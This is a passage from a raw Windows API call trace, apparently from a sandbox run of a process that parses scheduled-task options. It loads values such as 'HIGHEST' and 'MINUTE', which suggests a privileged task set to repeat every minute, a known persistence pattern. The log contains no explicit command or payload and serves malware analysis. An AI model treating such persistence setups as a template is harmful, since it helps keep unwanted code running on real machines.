_Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|u|") returned 3 [0113.141] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.141] lstrlenW (lpString="|u|") returned 3 [0113.141] lstrlenW (lpString="|f|") returned 3 [0113.141] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0113.141] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.141] lstrlenW (lpString="p") returned 1 [0113.141] lstrlenW (lpString="p") returned 1 [0113.141] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.141] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.141] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|p|") returned 3 [0113.141] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.142] lstrlenW (lpString="|p|") returned 3 [0113.142] lstrlenW (lpString="|f|") returned 3 [0113.142] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0113.142] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.142] lstrlenW (lpString="ru") returned 2 [0113.142] lstrlenW (lpString="ru") returned 2 [0113.142] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.142] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.142] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ru|") returned 4 [0113.142] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.142] lstrlenW (lpString="|ru|") returned 4 [0113.142] lstrlenW (lpString="|f|") returned 3 [0113.142] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0113.142] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.142] lstrlenW (lpString="rp") returned 2 [0113.142] lstrlenW (lpString="rp") returned 2 [0113.142] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.142] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.142] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rp|") returned 4 [0113.142] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.142] lstrlenW (lpString="|rp|") returned 4 [0113.142] lstrlenW (lpString="|f|") returned 3 [0113.142] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0113.142] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.142] lstrlenW (lpString="sc") returned 2 [0113.142] lstrlenW (lpString="sc") returned 2 [0113.142] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.142] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.143] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.143] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.143] lstrlenW (lpString="|sc|") returned 4 [0113.143] lstrlenW (lpString="|f|") returned 3 [0113.143] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0113.143] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.143] lstrlenW (lpString="mo") returned 2 [0113.143] lstrlenW (lpString="mo") returned 2 [0113.143] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.143] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.143] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.143] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.143] lstrlenW (lpString="|mo|") returned 4 [0113.143] lstrlenW (lpString="|f|") returned 3 [0113.143] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0113.143] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.143] lstrlenW (lpString="d") returned 1 [0113.143] lstrlenW (lpString="d") returned 1 [0113.143] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.143] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.143] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|d|") returned 3 [0113.143] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.143] lstrlenW (lpString="|d|") returned 3 [0113.143] lstrlenW (lpString="|f|") returned 3 [0113.143] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0113.143] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.143] lstrlenW (lpString="m") returned 1 [0113.143] lstrlenW (lpString="m") returned 1 [0113.144] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.144] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.144] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|m|") returned 3 [0113.144] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.144] lstrlenW (lpString="|m|") returned 3 [0113.144] lstrlenW (lpString="|f|") returned 3 [0113.144] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0113.144] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.144] lstrlenW (lpString="i") returned 1 [0113.144] lstrlenW (lpString="i") returned 1 [0113.144] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.144] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.144] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|i|") returned 3 [0113.144] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.144] lstrlenW (lpString="|i|") returned 3 [0113.144] lstrlenW (lpString="|f|") returned 3 [0113.144] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0113.144] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.144] lstrlenW (lpString="tn") returned 2 [0113.144] lstrlenW (lpString="tn") returned 2 [0113.144] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.144] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.144] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.144] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.144] lstrlenW (lpString="|tn|") returned 4 [0113.144] lstrlenW (lpString="|f|") returned 3 [0113.144] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0113.144] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.145] lstrlenW (lpString="tr") returned 2 [0113.145] lstrlenW (lpString="tr") returned 2 [0113.145] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.145] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.145] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.145] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.145] lstrlenW (lpString="|tr|") returned 4 [0113.145] lstrlenW (lpString="|f|") returned 3 [0113.145] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0113.145] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.145] lstrlenW (lpString="st") returned 2 [0113.145] lstrlenW (lpString="st") returned 2 [0113.145] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.145] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.145] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|st|") returned 4 [0113.145] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.145] lstrlenW (lpString="|st|") returned 4 [0113.145] lstrlenW (lpString="|f|") returned 3 [0113.145] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0113.145] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.145] lstrlenW (lpString="sd") returned 2 [0113.145] lstrlenW (lpString="sd") returned 2 [0113.145] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.145] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.145] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sd|") returned 4 [0113.146] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.146] lstrlenW (lpString="|sd|") returned 4 [0113.146] lstrlenW (lpString="|f|") returned 3 [0113.146] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0113.146] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.146] lstrlenW (lpString="ed") returned 2 [0113.146] lstrlenW (lpString="ed") returned 2 [0113.146] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.146] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.146] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ed|") returned 4 [0113.146] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.146] lstrlenW (lpString="|ed|") returned 4 [0113.146] lstrlenW (lpString="|f|") returned 3 [0113.146] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0113.146] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.146] lstrlenW (lpString="it") returned 2 [0113.146] lstrlenW (lpString="it") returned 2 [0113.146] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.146] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.146] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|it|") returned 4 [0113.146] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.146] lstrlenW (lpString="|it|") returned 4 [0113.146] lstrlenW (lpString="|f|") returned 3 [0113.146] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0113.146] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.146] lstrlenW (lpString="et") returned 2 [0113.146] lstrlenW (lpString="et") returned 2 [0113.147] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.147] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.147] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|et|") returned 4 [0113.147] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.147] lstrlenW (lpString="|et|") returned 4 [0113.147] lstrlenW (lpString="|f|") returned 3 [0113.147] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0113.147] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.147] lstrlenW (lpString="k") returned 1 [0113.147] lstrlenW (lpString="k") returned 1 [0113.147] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.147] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.147] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|k|") returned 3 [0113.147] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.147] lstrlenW (lpString="|k|") returned 3 [0113.147] lstrlenW (lpString="|f|") returned 3 [0113.147] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0113.147] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.147] lstrlenW (lpString="du") returned 2 [0113.147] lstrlenW (lpString="du") returned 2 [0113.147] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.147] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.147] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|du|") returned 4 [0113.147] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.147] lstrlenW (lpString="|du|") returned 4 [0113.147] lstrlenW (lpString="|f|") returned 3 [0113.147] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0113.147] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.148] lstrlenW (lpString="ri") returned 2 [0113.148] lstrlenW (lpString="ri") returned 2 [0113.148] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.148] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.148] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ri|") returned 4 [0113.148] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.148] lstrlenW (lpString="|ri|") returned 4 [0113.148] lstrlenW (lpString="|f|") returned 3 [0113.148] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0113.148] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.148] lstrlenW (lpString="z") returned 1 [0113.148] lstrlenW (lpString="z") returned 1 [0113.148] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.148] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.148] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|z|") returned 3 [0113.148] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.148] lstrlenW (lpString="|z|") returned 3 [0113.148] lstrlenW (lpString="|f|") returned 3 [0113.148] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0113.148] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.148] lstrlenW (lpString="f") returned 1 [0113.148] lstrlenW (lpString="f") returned 1 [0113.148] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.148] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.148] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.148] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.148] lstrlenW (lpString="|f|") returned 3 [0113.148] lstrlenW (lpString="|f|") returned 3 [0113.149] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0113.149] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.149] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.149] GetProcessHeap () returned 0x1b748cb0000 [0113.149] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb980 [0113.149] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.149] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0113.149] lstrlenW (lpString="LIMITED") returned 7 [0113.149] GetProcessHeap () returned 0x1b748cb0000 [0113.149] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x10) returned 0x1b748cba980 [0113.149] GetThreadLocale () returned 0x409 [0113.149] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0113.149] GetProcessHeap () returned 0x1b748cb0000 [0113.149] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb710 [0113.149] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.149] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0113.149] lstrlenW (lpString="HIGHEST") returned 7 [0113.149] GetProcessHeap () returned 0x1b748cb0000 [0113.149] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x10) returned 0x1b748cba880 [0113.149] GetThreadLocale () returned 0x409 [0113.149] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0113.149] GetProcessHeap () returned 0x1b748cb0000 [0113.149] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb890 [0113.149] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.149] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0113.149] lstrlenW (lpString="MINUTE") returned 6 [0113.149] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xe) returned 0x1b748cba8e0 [0113.150] GetThreadLocale () returned 0x409 [0113.150] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0113.150] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.150] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x1fc) returned 0x1b748cbabc0 [0113.150] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb920 [0113.150] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.150] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0113.150] lstrlenW (lpString="First") returned 5 [0113.150] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xc) returned 0x1b748cbaaa0 [0113.150] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb320 [0113.150] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.150] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0113.150] lstrlenW (lpString="Second") returned 6 [0113.150] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xe) returned 0x1b748cba900 [0113.150] GetProcessHeap () returned 0x1b748cb0000 [0113.150] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb380 [0113.150] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.151] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0113.151] lstrlenW (lpString="Third") returned 5 [0113.151] GetProcessHeap () returned 0x1b748cb0000 [0113.151] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xc) returned 0x1b748cba800 [0113.151] GetProcessHeap () returned 0x1b748cb0000 [0113.151] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb770 [0113.151] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.151] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0113.151] lstrlenW (lpString="Fourth") returned 6 [0113.151] GetProcessHeap () returned 0x1b748cb0000 [0113.151] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xe) returned 0x1b748cbaa60 [0113.151] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.151] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0113.151] lstrlenW (lpString="Last") returned 4 [0113.151] GetProcessHeap () returned 0x1b748cb0000 [0113.151] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xa) returned 0x1b748cba8a0 [0113.151] lstrlenW (lpString="8") returned 1 [0113.151] _wtol (_String="8") returned 8 [0113.151] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.151] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0113.151] lstrlenW (lpString="First") returned 5 [0113.151] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.151] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0113.152] lstrlenW (lpString="Second") returned 6 [0113.152] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.152] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0113.152] lstrlenW (lpString="Third") returned 5 [0113.152] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.152] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0113.152] lstrlenW (lpString="Fourth") returned 6 [0113.152] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.152] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0113.152] lstrlenW (lpString="Last") returned 4 [0113.152] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x119ed7c580, cchData=128 | out: lpLCData="0") returned 2 [0113.152] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.152] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0113.152] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0113.152] GetProcessHeap () returned 0x1b748cb0000 [0113.152] GetProcessHeap () returned 0x1b748cb0000 [0113.152] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbaaa0) returned 1 [0113.152] GetProcessHeap () returned 0x1b748cb0000 [0113.152] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbaaa0) returned 0xc [0113.215] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbaaa0) returned 1 [0113.215] GetProcessHeap () returned 0x1b748cb0000 [0113.215] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x16) returned 0x1b748cba940 [0113.215] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x119ed7c5a0, cchData=128 | out: lpLCData="0") returned 2 [0113.215] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.216] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0113.216] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0113.216] GetProcessHeap () returned 0x1b748cb0000 [0113.216] GetProcessHeap () returned 0x1b748cb0000 [0113.216] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba900) returned 1 [0113.216] GetProcessHeap () returned 0x1b748cb0000 [0113.216] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba900) returned 0xe [0113.216] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba900) returned 1 [0113.216] GetProcessHeap () returned 0x1b748cb0000 [0113.216] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x16) returned 0x1b748cba900 [0113.216] GetLocalTime (in: lpSystemTime=0x119ed7c7d8 | out: lpSystemTime=0x119ed7c7d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x24, wMilliseconds=0x254)) [0113.216] lstrlenW (lpString="") returned 0 [0113.216] GetLocalTime (in: lpSystemTime=0x119ed7d1c8 | out: lpSystemTime=0x119ed7d1c8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, 